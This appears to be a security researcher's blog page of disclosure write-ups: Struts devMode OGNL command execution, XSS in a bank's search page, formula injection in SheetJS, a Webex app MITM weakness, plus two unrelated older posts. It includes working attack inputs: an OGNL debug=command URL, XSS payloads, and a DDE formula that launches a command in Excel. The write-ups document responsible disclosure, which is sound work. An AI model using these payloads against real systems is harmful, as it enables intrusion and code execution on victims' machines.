Arbitrary Command execution in Privacy Disclaimer page of a very popular organization

I found that security and privacy section of this company’s website was vulnerable to command execution. I informed them about this issue and their security team was able to confirm it. They added me to their hall of fame and were able to fix the issue quickly. My overall experience of working with them was very pleasant.

One fine evening, while exploring an organization’s Security and Privacy page, I don’t remember how I came across a java stack trace. The last paragraph, after the stack trace caught my attention. It said –
“You are seeing this page because development mode is enabled. To disable this mode, set struts.devmode=false”.

I googled the error message but could not find anything relevant. Then, I searched for “struts dev mode” and somehow, landed at Pwntester’s insightful blog on OGNL Injection via struts dev mode, (as well as a few other links on the command execution capability of the dev mode setting).

OGNL is an expression language for Java which allows getting and setting JavaBeans properties, on the fly (using java reflection). It also allows execution of methods of Java classes.

Struts2 comes with an inbuilt OGNL debug console named as dev mode, to help developers with more verbose logs. This can also be used in testing OGNL expressions. Dev mode is disabled by default. If enabled, this setting uses debugging interceptor and supports four types of debug parameters.

  • debug = console
    (non-intrusive way to confirm an enabled devmode setting. It will open a new window with a black background webconsole which can further be used for OGNL expression testing.)
  • debug = browser
    (non-intrusive way to confirm an enabled devmode setting. it will show the properties of the specified object value e.g. debug=browser&object=%23parameters)
  • debug = xml
  • debug = command
    (this is used to execute the intended OGNL payload.)

By using parameter debug=command and passing the specially crafted OGNL payload as ‘expression‘ parameter, a command execution can be achieved. e.g. As shown in the below URL, debug and expression parameters are passed to a Struts Action, HelloWorld.action.

http://<target>/struts2-blank/example/HelloWorld.action?debug=command&expression=1%2b1

Mitigation and Remediation:

Always disable devMode in production. Apache also mentions this in their security tips. Best way is to ensure the following setting is applied to your struts.xml in production:

<constant name ="struts.devMode" value="false" />

While by-default devMode is set to ‘False’, many applications enable this setting in their non-prod environment for verbose logs and forget to disable it when deploying to Prod.

Timeline:
8/26/2018 – Reported the issue to this organization
8/28/2018 – They acknowledged the report and confirmed that it was a valid issue and was not previously reported either internally or externally.
10/08/2018 – They fixed the issue and asked me to validate it.
10/08/2018 – They added me to their security hall of fame list.
05/02/2019 – Draft blog post shared with them
05/03/2019 – Organization said they need time to review it
06/20/2019 – Followed up with the them
06/25/2019 – They wrote that they were still reviewing the post
07/11/2019 – Followed up with the organization, received no response
07/22/2019 – Followed up with the organization, received no response
08/16/2019 – Followed up with the organization, received no response
08/22/2019 – Followed up with the organization, received no response
11/13/2019 – Followed up with the organization, no response from their side
11/16/2019 – Published this post but without any name.

References: 
1) http://www.pwntester.com/blog/2014/01/21/struts-2-devmode-an-ognl-backdoor/
2) https://www.cvedetails.com/cve/cve-2012-0394
3) https://struts.apache.org/security/
3) https://www.rapid7.com/db/modules/exploit/multi/http/struts_dev_mode
4) https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/struts2-development-mode-enabled/
5) https://gist.github.com/mgeeky/5ba0170a5fd0171eb91bc1fd0f2618b7
6) https://issues.apache.org/jira/browse/WW-4348

 

Tale of a Cross-Site Scripting vulnerability in ICICI Bank Website

If you’re teaching reflected cross-site scripting to a newbie, what could be a classic example?

A search page taking search keyword as input and reflecting it back on the result page, along with the search results.

I logged into ICICI Bank website after ages and noticed a new search page on my dashboard. Out of curiosity, I just wanted to check if they were encoding the input properly. I entered a few special characters in the search field and right clicked on the result page to view the HTML source but an alert popped up stating that ‘Due to security reason, right click is not allowed’. It is generally very trivial to bypass such client side restrictions and in my humble opinion I don’t think any site needs to do that as a security control.

I just added ‘view-source:’ before the URL and was able to see the generated HTML source. After looking at the HTML source, I worked on the XSS payload and below payload successfully popped up an alert, confirming the presence of Cross-Site Scripting vulnerability.

xxx')</script>alert("XSS")

Timeline:

07/31/2016 – Reported this issue to ICICI’s anti-phishing email and whatever other emails I was able to find. Also shared the screenshot and steps to reproduce the issue.
08/02/2016 – Received a generic reply from their customer care asking for my account details and phone number to help me further.
08/02/2016 – Requested them to forward that email to their IT Security team or to anyone responsible for the IT department.
08/26/2016 – Asked for an acknowledgement or an update. Received a generic email from someone in customer care department.
03/05/2017 – Requested for an update.
01/18/2018 – After some good time, when I logged in to the ICICI site, I noticed that XSS was fixed. Emailed them again to confirm if it was fixed.
01/25/2018 – Received a generic email again from the customer care department asking for my account details and phone number to help me further.
09/21/2019 – As I never received an official response, my understanding is that this issue has been resolved. I’m writing this blog post for the general security awareness of my blog readers.

Formula Injection in npm’s xlsx module

Summary:
SheetJS package in npm ecosystem does not have any defense against Formula Injection.

Details:
Sheetjs package xlsx in npm ecosystem, allows parsing and editing various spreadsheet formats. As it is JS driven, it gives ability to render tables in the browser and allows modification of the tables on the fly. It also allows exporting this data in various spreadsheet formats e.g. xlsx, xlsb, csv etc.

Formula Injection happens, when an application uses untrusted user input inside a spreadsheet format file and when this file is opened with a spreadsheet program such as Microsoft Excel.

This vulnerability exists because of the way Spreadsheet softwares handle formula characters (such as =, @, +, -). However, depending on the use-cases, applications can perform additional checks such data validation or escaping of formula characters by passing a single quote (‘) before the formula character, as described here.

Steps to reproduce:

  1. Click on one of the demos provided by sheetjs module e.g.
    http://sheetjs.com/demos/modify.html
    http://sheetjs.com/demos/table.html
  2. Edit any cell in the table and update with the below value
    =cmd|’ /C calc’!A1
  3. Export it into any spreadsheet format such as csv, xlsx, xlsb etc and open this file with Microsoft Excel
  4. Excel’s latest versions show a warning. Click ok.
  5. When this Formula executes, it will pop a calculator up on your Windows machine.
  6. This can further be extended in exfiltrating data OOB as described here.

Timeline:

3/12/2019 – Reported to npm security team via a bug bounty platform, as well as sent an email directly to securityATnpm.com.
3/30/2019 – On the bounty platform, Package maintainer responded that this was excel’s behavior and not a vulnerability in the package itself. They also shared that this was reported to them via Github in January.
3/30/2019 – Report was closed on the bug bounty platform.
4/18/2019 – On the email side, one Security engineer from npm team acknowledged receiving the report and said he would be circling back.
6/27/2019 – Security Engineer from npm team reached out and shared that there was an outage hence there was no response from them. He asked for more details, which I provided.
7/02/2019 – Security Engineer from npm team said that he was able to reproduce the issue and also drafted an advisory. He said that advisory would be released once the patch is applied.
7/03/2019 – Security Engineer from npm team wrote back that the package maintainer said that this was an intended functionality and meant to behave like excel does. He also referenced that the npm working group had dismissed this vulnerability report through the bug bounty platform.
7/03/2019 – I requested for a public disclosure which was approved.
7/19/2019 – I shared a draft write-up with the npm team.
7/22/2019 – Publishing this blog post.

I’m writing this post for the awareness of SheetJS users and consumers. If you are using this package, your users may not be protected against formula injection, by default. If you’re using it in your development projects, you may have to implement your own work-around, given on your use-case. Also, as a user, don’t ignore the excel warnings and review the untrusted formula before letting it execute.

References:

WebEx Meetings are vulnerable to MITM

In my free time, I was looking at some Android applications and noticed that I was able to intercept SSL traffic for Webex Meetings app. When explored it further, I found that Webex Meetings mobile app accepts self-signed certificates. Also there is no certificate pinning enabled.

This makes Webex meet app vulnerable to Man in the middle attack.

Users of this app, if connected to a public Wi-Fi spot, can be targeted by any person on the same network. If connected to a rogue Wi-Fi hotspot, Wi-Fi provider may have access to the data passed from the app to the server. Malwares on the device can also exploit this vulnerability to intercept any sensitive data while it is traveling across the wire.

A proper SSL ensures confidentiality and integrity of the information passed from point A to point B and is very important.
OWASP also puts ‘Insecure Communication’ on 3rd position in their top 10 list for mobile application vulnerabilities.
https://www.owasp.org/index.php/Mobile_Top_10_2016-M3-Insecure_Communication

In simpler terms, if you love connecting to free Wi-Fi hotspots for your Webex meetings, in your gym or coffeeshops, then your meetings may not be not secret anymore.

Vulnerable version:

I tested Webex Meetings Android app, version 10.6.0.21060208 Samsung S8 (on Android version 8.0).
As per vendor’s response, it seems all Webex mobile clients have similar behavior.

Vendor Response :

Hi Pankaj, after discussing with our development team, I’ve learned that the Webex mobile client accepts self-signed certificates because the Webex meetings component also allows for deployments using self-signed certificates. Similarly, because the Webex mobile client has to be used with so many different sites, certificate pinning is also not enabled.

See the documentation: https://www.cisco.com/c/en/us/td/docs/collaboration/CWMS/3_0/Administration_Guide/cwms_b_administration-guide-3-0.html

Page 219 of administrator guide instructs how to import self-signed certificate on mobile device to join meetings. There are also instructions for iOS there as well.

Page 256 of administrator guide instructs certificate management on the meetings server itself, including self-signed certificates.

The guide also mentions that the client warns on accepting the self-signed certificate, and users should make sure the application is genuine before accepting Connect.

These choices are consciously made by the business and documented for customers. As such, we do not consider them vulnerabilities. Although, you are correct, these configurations leave open the possibility of some attacks intended to defeat some SSL protections from attackers with privileged network positions. However, OCSP stapling is enabled as a hardening measure to verify SSL certificates.

Due to requirements of supporting applications using self-signed certificates, the Webex business unit will not make any changes to address your findings. You are of course free to make public your findings. If you do so, please include references to the above documentation.

Thank you again for your reports.

Timeline:

03/10/2018 – Issue reported to Cisco PSIRT
03/10/2018 – Report acknowledged by the incident manager and I was asked for more information
03/10/2018 – Shared the required details. Shared some screenshots from Packet Capture app.
03/27/2018 – I was asked if I could gather more information.
04/10/2018 – I shared some information again.
10/05/2018 – Reached out to the case manager and PSIRT DL for an update. 10/17/2018 – Reached out to PSIRT DL again for an update.
03/13/2019 – Reached out to PSIRT DL again for an update and asking permission for a public disclosure.
03/15/2019 – Got a response that previous case managed had moved on to a different position and also dev team was not able to confirm my report and because of that, there were no fixes.
03/20/2019 – Got the response confirming that Webex mobile clients accept self-signed cert and it is an intended behavior.

04/30/2019 – Requested for a public disclosure as even though Webex suggested they have it in the ‘admin’ documentation, I didn’t think Webex users were aware about the inherent risks.
06/20/2019 – Shared a draft write up with the PSIRT team
06/24/2019 – Released the advisory for the public.

Credits:

No CVE or bounty was awarded as vendor does not consider it a security issue. Vendor credited me for reporting this bug in their public bug release notes.

https://bst.cloudapps.cisco.com/bugsearch/bug/CSCvi63354

Update :
Someone pointed out that this issue was previously reported for the iOS app in 2012. CVE for that issue is CVE-2012-6399.

Popping up an XSS alert via a field which does not accept more than 20 characters

While testing an app, a text field was not accepting more than 20 characters (server side validation). I inserted following piece of code to check XSS (From RSnake’s XSS cheat sheet):

'';!--"<XSS>=&{()}

and verified the HTML source for the encoded characters . As < was in the HTML source,  the input field was seem to be missing output encoding and hence was vulnerable to cross site scripting.

Now, I just needed a popup to conclude this theory. I started looking for a smaller script. I tried to create/find some payloads which were less than 20 characters but I was unable to find anything. At that point of time, a random question came to my mind that, what is the smallest possible payload to pop up an alert. I know it was not needed to prove the XSS or missing output encoding but just a random question.
Here are some possible payloads compiled from my own answer and a few others:

<a href=http://a.by>
<a onclick=alert(2)>
<b onclick=alert(2)>
<script src=//h4k.me

Update (7th March, 2019)- This is very old post and may be obsolete now. I guess as someone replied to that question in 2017, following may be the smallest payload to pop up an alert now. I need to check.

<svg/onload=alert()>

ABC of Multibyte Characters

How many times you have seen some strange characters in an email or on any web site. How many times, as a developer you have seen that your code/content is getting converted to ‘?’ and users complained.

Previously, internet was limited to english (ASCII) but as soon as it started getting used globally, ASCII was not enough to help…..

If you want to read ABC of multibyte characters, ABC of character sets…. read this article written by Joel, one of my favorite writer…http://www.joelonsoftware.com/articles/Unicode.html

Online Office Suite

Remember the days, when MS Office was a must thing for any office job. I salute to Microsoft for this whole Office idea and the product suite. It definitely was one of the coolest tools of that era.

Office (but not Microsoft Office, yet) has shifted online now. Kudos to some great work by Google Docs, Zoho, Thinkfree, now you can create your Document, Spread Sheet and Presentation online and can share them with your friends. You along with your friends can simultaneously work on a document or a presentation. This is termed as ‘collaboration’.

This whole Online Office concept is actually SAAS (Software As A Service) because these SAAS vendors will let you use their software as a service with pay as you use model. You use them without even installing them on your machine so there is no prerequisite for your processor or disk space to run these softwares which actually is a service.

I use Google Docs and Zoho. Both tools are ultimate and easy to use.

There is also a news of Microsoft entering into this field with its Online MS Office. Adobe has also bought Buzzword which in an online Document creation utility.  Apple has also entered in this market with its iBook, which presently works for Apple users only.

So, has anyone left?? All biggies are competing here just to provide you an ultimate experience with their online office suite products.

Are you still on MS Word?? 😛